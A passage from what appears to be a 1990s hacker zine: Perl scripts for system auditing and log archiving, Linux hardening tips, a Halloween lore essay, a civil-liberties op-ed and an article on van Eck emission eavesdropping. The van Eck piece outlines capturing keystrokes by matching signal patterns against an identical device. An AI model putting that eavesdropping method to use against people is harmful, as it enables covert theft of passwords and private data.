$passwd_report = $passwd_report . "\n";
# Do a blank line if nothing was alerted.
}
# Present the summary of our findings:
if($no_password_users)
{
if($no_password_users == 1) # This is just for the grammar. :)
{
$passwd_report =
$passwd_report .
"*** $no_password_users USER HAS NO PASSWORD! ***\n";
}
else
{
$passwd_report =
$passwd_report .
"*** $no_password_users USERS HAVE NO PASSWORD! ***\n";
}
}
else
{
$passwd_report = $passwd_report . "All users have passwords.\n";
}
if($uid_zero)
{
if($uid_zero == 1)
{
$passwd_report =
$passwd_report .
"*** $uid_zero UNAUTHORIZED USER IS UID 0! ***\n";
}
else
{
$passwd_report =
$passwd_report .
"*** $uid_zero UNAUTHORIZED USERS ARE UID 0! ***\n";
}
}
else
{
$passwd_report =
$passwd_report . "No unauthorized users have UID 0.\n";
}
if($gid_zero)
{
if($gid_zero == 1)
{
$passwd_report =
$passwd_report .
"*** $gid_zero UNAUTHORIZED USER IS GID 0! ***\n";
}
else
{
$passwd_report =
$passwd_report .
"*** $gid_zero UNAUTHORIZED USERS ARE GID 0! ***\n";
}
}
else
{
$passwd_report =
$passwd_report . "No unauthorized users have GID 0.\n";
}
$passwd_report = $passwd_report . "\n";
# Now, we're going to check to see if things have changed since
# yesterday. yp is yesterday's password file, tp is today's.
if(open(OLD_PASSWD, "/etc/yp")) # IS there a yp file?
{
$new_users = 0;
$del_users = 0;
$changed_users = 0;
while($_ = <OLD_PASSWD>) # Read in all the users and data in yp.
{
chop($_);
if(/^[^:]*:/) # See if it's a basically valid line
{
/^[^:]*/; # Select the login
$yp{$&} = $_; # Assign the data to the key
}
}
close(OLD_PASSWD); # Close it up.
system("cp", "/etc/passwd", "/etc/tp");
# Copy passwd to tp. We don't open passwd to avoid it being
# changed in the middle or something.
chmod(0600, "/etc/tp"); # Only root can access it...
open(NEW_PASSWD, "/etc/tp"); # Get the new file.
while($_ = <NEW_PASSWD>)
{
chop($_);
if(/^[^:]*:/) # See if it's a basically valid line
{
/^[^:]*/; # Select the login
$tp{$&} = $_; # Assign the data to the key (the login)
}
}
@yp_list = %yp; # So we can iterate through it
$index = 0;
while($yp_list[$index]) # Walk entries in yesterday's file
{
if($tp{$yp_list[$index]}) # It's in both...
{
if($tp{$yp_list[$index]} ne $yp{$yp_list[$index]})
{ # But not the same...
$passwd_report = $passwd_report .
"Changed user: <$yp_list[$index]>\n";
$changed_users = $changed_users + 1;
}
}
else
{ # It's a deleted user.
$passwd_report = $passwd_report .
"Deleted user: <$yp_list[$index]>\n";
$del_users = $del_users + 1;
}
$index = $index + 2;
}
@tp_list = %tp; # Now, same for today's file
$index = 0;
while($tp_list[$index])
{
# If we have a match with yp, we don't care, because it would be
# caught above. Here, we're just looking for stuff that's in tp
# and not in yp. (ie, new users)
if($yp{$tp_list[$index]} eq "")
{ # It's a new user.
$passwd_report = $passwd_report .
"New user: <$tp_list[$index]>\n";
$new_users = $new_users + 1;
}
$index = $index + 2;
}
if($del_users || $new_users || $changed_users)
{
$passwd_report = $passwd_report . "\n";
# Append a newline if there were no changes.
}
# Present a summary:
$passwd_report = $passwd_report . "$new_users New users\n";
$passwd_report = $passwd_report . "$del_users Deleted users\n";
$passwd_report = $passwd_report . "$changed_users Changed users\n";
# Make today's file yesterday's, for tomorrow's run:
if(!rename("/etc/tp", "/etc/yp"))
{
$passwd_report = $passwd_report .
"\nWarning! Unable to rename /etc/tp to /etc/yp.\n";
$passwd_report = $passwd_report .
"Tomorrow's report will be bogus!\n";
}
}
else # First time this is run.
{
system("cp", "/etc/passwd", "/etc/yp");
chmod(0600, "/etc/yp");
$passwd_report = $passwd_report .
"No /etc/yp existed, so no /etc/passwd change info is available.\n";
}
}
# This function should take the "darwin.baz.com" line in /etc/HOSTNAME
# and turn it into "baz.com". It will turn "foo.bar.baz.com" into
# bar.baz.com.
sub get_domain_name
{
open(HOSTNAME, "/etc/HOSTNAME"); # Open /etc/HOSTNAME, to get our FQDN
$_ = <HOSTNAME>;
chop($_);
s/\w+\.//; # Strip off the machine name
$domain_name = $_;
close(HOSTNAME);
}
# Get the report on the ammount of diskspace available.
sub get_uptime_report
{
open(UPTIME, "uptime |"); # Open df to a pipe
while($_ = <UPTIME>)
{
# Append it to the report:
$uptime_report = $uptime_report . $_;
}
close(UPTIME); # Close the pipe
if(!$uptime_report) # No entries. uptime bombed?
{
$uptime_report = "No Entries. (HUH?)\n";
}
}
format ADMINREPORT =
sreport v0.99 Copyright(C) 1995 Brett A. Thomas & RedCloud software.
@*
$email_line
Administrative report for @*
$host_name
Generated @*
$date
--------------
/etc/passwd Information:
@*
$passwd_report
--------------
--------------
Disk Space:
@*
$disk_space_report
--------------
--------------
Uptime:
@*
$uptime_report
--------------
--------------
Net Logons Activity for @<<<<<:
$report_date
@*
$netlogons_report
--------------
--------------
Syslog Activity for @<<<<<:
$report_date
@*
$syslog_report
--------------
--------------
Transfer Activity for @<<<<<:
$report_date
@*
$xferlog_report
--------------
.
******************************** cut here *****************************
******************************** cut here *****************************
#!/usr/bin/perl
# Log archiver Copyright (C) 1995 Brett A. Thomas & RedCloud Software.
# Email quark@baz.com with any questions.
# This program archives your /var/adm/wtmp and var/adm/messages.
$is_ok = 0;
if(&get_date() == 1)
{
&get_hostname();
if(&setup_dir())
{
if(!system("zip /var/adm/archive/$date /var/adm/messages /var/adm/wtmp > /dev/null"))
{
system("cp /dev/null /var/adm/wtmp");
system("tail -100 /var/adm/messages > /var/tmp/mess_temp");
system("mv /var/tmp/mess_temp /var/adm/messages");
$is_ok = 1;
}
}
}
if(open(MAIL, "|mail root -s \"Monthly Archive Report for $host_name\""))
{
if(!$is_ok)
{
print MAIL "Archiving failed.\n";
}
else
{
print MAIL "Archiving successful.\n";
}
close(MAIL);
}
sub get_date
{
if(open(DATE_FH, "date -d yesterday +%m%d%y|"))
{
chop($date = <DATE_FH>);
close(DATE_FH);
1;
}
else
{
0;
}
}
sub setup_dir
{
if(!open(DIR_FH, "/var/adm/archive"))
{
if(mkdir("/var/adm/archive", 0700))
{
1;
}
else
{
0;
}
}
else
{
1;
}
}
sub get_hostname
{
open(HOSTNAME, "/etc/HOSTNAME");
chop($host_name = <HOSTNAME>);
close(HOSTNAME);
}
************************* cut here ********************************
o Social Engineering:
This is convincing ppl to do what you want, by giving them a bullshit story.
You as a sysadmin should know better than to give out a password over the phone
to someone you don't know is the actual user of an account. One of your users
however might fall prey to this form of attack. You should make sure they know
NEVER to give out thier password to someone calling them on the phone saying
they are the sysadmin or the like. Make sure you already can access their
account with out the need for thier password (as via the su command). And most
importatly they should know if they ever recieve such a call/communication they
should IMMEDIATLY inform you of this.
o Permissions:
A sysadmin should pay close attention to the various permissions of certain
files/commands. Typing ls -l will give a list of the permissions. Such
permissions control access rights for the owner, ossiated members and other
users. The security program COPS does a good check on the permissions of
various files/commands and tells which might need changing. This should
definatly be run on your system ASAP, as one of your users could run it before
you and find security flaws. Also, on a related note, you should scan your file
systems for SUID programs by using the find command. These programs should be
kept to a minimum.
o Bugs:
The great woe of sysadmin's great and small. Such are numerous. Below are
three of the more serious ones and what you can do about them.
All known current distributions of Linux have an insecure portmapper
(rpc.portmap) and that should be replaced. The secure version can be gotten from
ftp://linux.mrao.edu/pub/linux/security/nfsd/portmap-3.tar.gz. Also, you will
need the tcp wrapper library to compile and use the secure portmapper.
Also, all known current distributions of linux have an insecure NFS server
(rpc.nfsd) and that should also be replaced. The secure version can be gotten
from ftp://linux.nrao.edu/pub/linux/security/nfsd/nfs-server-2.2alpha3.tar.gz.
Versions of the at/atrun package earlier than 2.7 have a bug which can allow
users root access. If you have one that is earlier than 2.7 or 2.7a you should
upgrade ASAP.
Version 1.70 of MiniCom has a bug which can allow for root access. You should
upgrade to version 1.71 immediatly.
o Additional Security measures:
SHADOW YOUR DAMN PASSWD FILE!!!!!!!! (do you note the stress here? Good! :) )
Filter out IP source routing in your router. This is to prrevent IP address
spoofing.
smtp_wrap, which is currently in development, will prevent e-mail forgery.
Install the tcp wrapppers.
.oO____Oo.
Halloween Lore --- Deliryum
*** note: part of this has been taken from various texts. The most
notable being the pagan seasonal by Mike Nichols.
Samhain, All Hallows Eve, Halloween. Different names of the same event.
This very ancient of festivals is thought by many to be a satanic ritual
or at least that it has its roots in such. This is simply not the case.
Such are the misconeptions of a religeon too engrossed with making money
and acculmatlating power for itself.
Halloween has its roots in the Celtic festival of Samhain, and our many
traditions have thier ancient origins, some obvious and some quite obscure.
The tradition of Trick or Treating with its costuming and masking, was, at
one time the old method known as wassailing, or the begging from the door
to door practiced at Yule, in which children acted as proxies for the spirts
of the deceased to whom offerings come be made. This Samhian tradition, moved
to the Winter Solstice, has its counter part in the Beltane, or May Day
processions of Europe in which children also beg treats from door to door in
exchange for fertility. The costuming and masking come down to us from the
shamanistic practice of wearing and dancing about in the skins and honrs of
animals slain for food which needed to be appeased, a practice vehemently
oppsed by the early christian church.
The jack o lantern, that fat orange pumpkin with flaming eyes and jagged
teeth of course the American version of the candle lit as a beacon for
the wondering spirts who are trying to find thier way home, or so the early
pagans believe. In Egypt, Mexico, and Ireland, candles are used. In japan
paper lanterns, and in western europe, it is said, turnips were carved and
used as lanterns on All hallows eve. There are many old German Halloween
decorations that depict a man made of vegatables, with a deep red turnip
for a head. Turnips, along with other root crops such as carrots and
potatoes, and the vegatables in the Cole family, cabbages, cauliflower,
Brussel sprouts, etc, are all seasonal vegetables which were grown for
winter storeage and as vital food supply. In Europe figures of "vegetable
men" were made as Halloween ornaments and represent the Foliate God fully
ripened. He is a close relative to the sacrificed God of the Grain, the
american counterpart of the loveable scarecrow.
Not only is Samhain the end of autumn; it is also, more
importantly, the end of the old year and the beginning of the new.
Celtic New Year's Eve, when the new year begins with the onset of the
dark phase of the year, just as the new day begins at sundown. There
are many representations of Celtic gods with two faces, and it surely
must have been one of them who held sway over Samhain. Like his Greek
counterpart Janus, he would straddle the threshold, one face turned
toward the past in commemoration of those who died during the last
year, and one face gazing hopefully toward the future, mystic eyes
attempting to pierce the veil and divine what the coming year holds.
These two themes, celebrating the dead and divining the future, are
inexorably intertwined in Samhain, as they are likely to be in any New
Year's celebration.
As a feast of the dead, it was believed the dead could, if they
wished, return to the land of the living for this one night, to
celebrate with their family, tribe, or clan. And so the great burial
mounds of Ireland (sidh mounds) were opened up, with lighted torches
lining the walls, so the dead could find their way. Extra places were
set at the table and food set out for any who had died that year. And
there are many stories that tell of Irish heroes making raids on the
Underworld while the gates of faery stood open, though all must return
to their appointed places by cock-crow.
The Christian religion, with its emphasis on the 'historical'
Christ and his act of redemption 2000 years ago, is forced into a
linear view of time, where 'seeing the future' is an illogical
proposition. In fact, from the Christian perspective, any attempt to
do so is seen as inherently evil. This did not keep the medieval
Church from co-opting Samhain's other motif, commemoration of the
dead. To the Church, however, it could never be a feast for all the
dead, but only the blessed dead, all those hallowed (made holy) by
obedience to God - thus, All Hallow's, or Hallowmas, later All Saints
and All Souls.
There are so many types of divination that are traditional to
Hallowstide, it is possible to mention only a few. Girls were told to
place hazel nuts along the front of the firegrate, each one to
symbolize one of her suitors. She could then divine her future
husband by chanting, 'If you love me, pop and fly; if you hate me,
burn and die.' Several methods used the apple, that most popular of
Halloween fruits. You should slice an apple through the equator (to
reveal the five-pointed star within) and then eat it by candlelight
before a mirror. Your future spouse will then appear over your
shoulder. Or, peel an apple, making sure the peeling comes off in one
long strand, reciting, 'I pare this apple round and round again; / My
sweetheart's name to flourish on the plain: / I fling the unbroken
paring o'er my head, / My sweetheart's letter on the ground to read.'
Or, you might set a snail to crawl through the ashes of your hearth.
The considerate little creature will then spell out the initial letter
as it moves.
To Witches, Halloween is one of the four High Holidays, or
Greater Sabbats, or cross-quarter days. Because it is the most
important holiday of the year, it is sometimes called 'THE Great
Sabbat.' It is an ironic fact that the newer, self-created Covens
tend to use the older name of the holiday, Samhain, which they have
discovered through modern research. While the older hereditary and
traditional Covens often use the newer name, Halloween, which has been
handed down through oral tradition within their Coven. (This is often
holds true for the names of the other holidays, as well. One may
often get an indication of a Coven's antiquity by noting what names it
uses for the holidays.)
Of all the pagan holidays, Halloween is the only one that
still boasts anything near to popular celebration. Even though it is
typically relegated to children (and the young-at-heart) and observed
as an evening affair only, many of its traditions are firmly rooted in
Paganism. Interestingly, some schools have recently attempted to
abolish Halloween parties on the grounds that it violates the
separation of state and religion. Speaking as a Pagan, I would be
saddened by the success of this move, but as a supporter of the
concept of religion-free public education, I fear I must concede the
point. Nonetheless, it seems only right that there SHOULD be one
night of the year when our minds are turned toward thoughts of the
beyond. A night when both Pagans and non-Pagans may ponder the
mysteries of the Otherworld and its inhabitants. And if you are one
of them, may all your jack-o'lanterns have burned bright on this All Hallow's
Eve.
.oO____Oo.
"A word to the wise" -- deliryum
Americans from coast to coast and border to border have had a feeling
of revulsion over the mass-murder of terrorism by the bombers who
wantonly killed in the attack on the federal building in Oklahoma City.
But now it is important for our reaction to that horrible crime not to
result in a reverse from of terrorism against the basic liberties of all
Americans.
One natural answer to the crime is to raise barriers in law against
other potential terrorists. But it should be remember that guarding
aginst one kind of danger could bring even worse danger to our liberty
in general.
President Clinton, for example at first sought apporval for the pres-
ident to be given absolute "unreviewable" power to label any group he
suspected as being "terrorist". No president, nor any other offical,
should have such power. It would be the power of smear and proscription
without evidence or trial. While the label might be used agsinst some
group that deserved it, what safe guard would there be against pres-
idential denunciation of some politcally unpopular group that did not
deserve any such designation?
There has been no showing in the Oklahoma City case that any
identifiable group was involved. It would be totally contrary to our
system of justice to let that case "justify" a president's exercise of
dictatorial power of denunciation on his decision alone.
Criticism of the president's proposal apparently gave even Mr. Clinton
second thoughts, so he has abandoned his request for such excessive
power. That it was even proposed in the first place should be warning of
the dangers of Govenmental overreation.
Mr. clinton still seeks hower power to involve the nations military
forces in some investigations. That would be a mistake, too. The
military is not trained and equipted for such action. The suggestion
raises the specter of "storm trooper" type action that might be ordered
by a president against our citizenry if a terrorist crime could be used
as an excuse.
There also are proposals to ease restrictions against investigative
wiretaps and checks on financial, credit and travel records. That sort
of thing, if not carefully restricted, could lead to "Gestapo-type"
infringments upon personal liberty.
Mr. Clinton also has called for authorization for 1,000 new federal
agents. Of course, more officers always are needed. But there is no
reason to believe that the Oklahoma City terrorism, or any other random
crime, could be prevented by 1000 more agents. Who would have suspected
Oklahoma City would be a target among countless thousands of potential
targets throughout our country?
The president also wants to create a new "center for counterterrorism."
Cut how many terrorist acts have we had in this country? Surely, we face
the possiblitly there will be more. But a far grater general threat to
our people comes fomr ordinary rampart criminals than from terroists.
There are reasonable things that we can do to protect our people and
protery against terrorists. But there is no assurance that every planned
crime can be prevented. We should be on guard lest our protective
measures constitute a sort of "legal terroism" that would encroach upon
our Constitution's protection of the individual rights of our people.
Terrorism is abhorrent. This is certainly true. But so is all powerful
government and its potential for diluting liberty. Such is why we rebeled
aga
inst England and founded this great country in the first place. Perhaps
we should keep this in mind.
.oO____Oo.
-----[ So, you think you're secure? ]-----
by: Mr. Zippy!
INTRODUCTION:
You've finally done it. You compiled PGP yourself to make sure
you're running a clean version, and you chose a passphrase that no
one would ever guess. You didn't write it down, so the FBI would
never find it if they raided you. You don't even encrypt messages
while online, to prevent someone from monitoring the data line
in hopes of trapping your passphrase. In fact, you regularly
wipe your swapfile so there's no traces of it anywhere.
There's no way anyone will ever get your passphrase unless they
beat it out of you, right? WRONG!
Remember that black van parked accross from your computer room's
window? They're not tapping your phone line or using a lazer mic
to tape your conversations. They're watching everything you type
scroll accross a little monitor, and recording it all to VHS tape
for later study.
No, I didn't see this on the X-Files last week. The technology to
do this is available now (for as little as $200). It's called
van Eck radiation, and information about it has been classified
by the Governments of the United States, England, and others.
HOW IT WORKS:
Remember the interference on your TV when you fired up your Vic 20
computer or printed to that old dot-matrix printer? The
interference was caused by electromagnetic radiation (known as
van Eck radiation, after a researcher who published a paper on the
subject). In fact, you could often tune that Vic 20 computer in on
an old black-and-white TV with fine tuning controls. You didn't
know it then, but you were using a van Eck device.
The theory behind van Eck radiation is that all electronic devices
emit some level of electromagnetic radiation. This radiation can
be detected by devices which are basically modified TV receivers.
By tuning the receiver into the frequency your monitor is on, you
can watch everything scroll by. Not only can your screen be
monitored, but your printer, keyboard, or any other electronics
device you may be operating.
WHAT IS AT RISK:
Think about the kind of data you display on your computer monitor.
Your financial records, personal letters, business proposals, or
anything else you wouldn't want others to see can all be monitored
and recorded for later review. The information on your screen is
the easiest to capture - you just need to tune the signal in on
another screen. It can be recorded on any standard VCR.
Anything you type on your keyboard can also be monitored. This
includes your PGP key, the password for your 'net provider, or
your credit card number. So just because it's not displayed on
the screen as you type it doesn't mean that it can't be captured by
someone who really wants it. Your printer and FAX machine are not
immune to van Eck evesdropping, either.
Capturing the van Eck radiations from a keyboard, printer, or FAX
can be more difficult than those from a monitor. It is necessary
to have the exact same model available to analyze before you can
figure out what you have captured. The concept is still fairly
simple:
If you use a "Brand A" keyboard, I'll buy the same
model. I hit each key, and watch the pattern on a
scope. Now, I watch the patterns come out of your
keyboard, and match them to those I've already
figured out. Suddenly, your secret password isn't
much of a secret any more.
The same is true of printers and FAX machines. If you have the
same model, you can figure out each signal in advance, and then
reading the captured output becomes easy.
WHO IS AT RISK:
Everyone. You don't need to be a criminal trying to hide your
activities from law enforcement officials to be concerned about
van Eck eavesdropping. Consider the value of the data on your
screen - what it it worth to someone else?
Here's an example of various situations and types of information
that could be gained by monitoring van Eck radiation:
- Bankers (account data, transaction passwords)
- Brokers (data leading to insider trading)
- Law Enforcement (information on current investigations)
- Designers, Architechts (current plans, models)
- Software Designers (new algorithms and techniques)
- Unfaithful Partners (letters to the "other")
HOW TO PROTECT YOURSELF:
Over the years, electronics devices have been designed to give off
less and less interference. For example, I can set my laptop on
top of my TV and not cause any noticable disturbance. This means
that long-range detection of van Eck radiation is not practical.
Instead, the easier way is to plant transceivers that detect the
radiation, and transmit it to monitoring posts farther away.
Devices used to detect "bugs", radio scanners, and physical
inspections of your equipment and surrounding areas can help to
turn up transceivers of this type.
It's a well known fact that if you're getting bad TV reception,
you can attach the antenna to the cold water pipe and it improves
drastically. In the same way, electromagnetic radiation can be
detected through building wiring or water pipes. It would be
nearly impossible to get your equipment away from water pipes or
elecrtical wiring. Therefore, you'll need a way to ensure that
no radiation emits from your equipment.
The NSA has created a specification for hardware which emits
minimum ammounts of electromagnetic radiation (called "Tempest").
Of course, if they were to publish this specification, they would
not be able to eavesdrop on van Eck emmisions themselves. The
concept is obvious, though. Equipment should be enclosed in
cases which trap emmisions inside. The electrical supply should
either be isolated or be "dirtied" with dummy emissions. The room
itself should be shielded such that detection from outside is
impossible.
SUMMARY:
If you have somthing to hide, you need to be aware of all the ways
it can be discovered. Not everyone needs to build a safe room to
ensure that their information stays private. However, if the
information on your screen is worth more to others than it is to
you, you should take precautions to ensure it doesn't get out.
CREDITS:
Not much information is available on van Eck Radiation, due to
the topic being classified by most Governments. Most of this
information was obtained from one of these three sources:
"Information Warfare" by Winn Schwartau (excellent book)
"Computers and Security" December, 1985 issue
Anonymous computer monitor technician at local repair depot
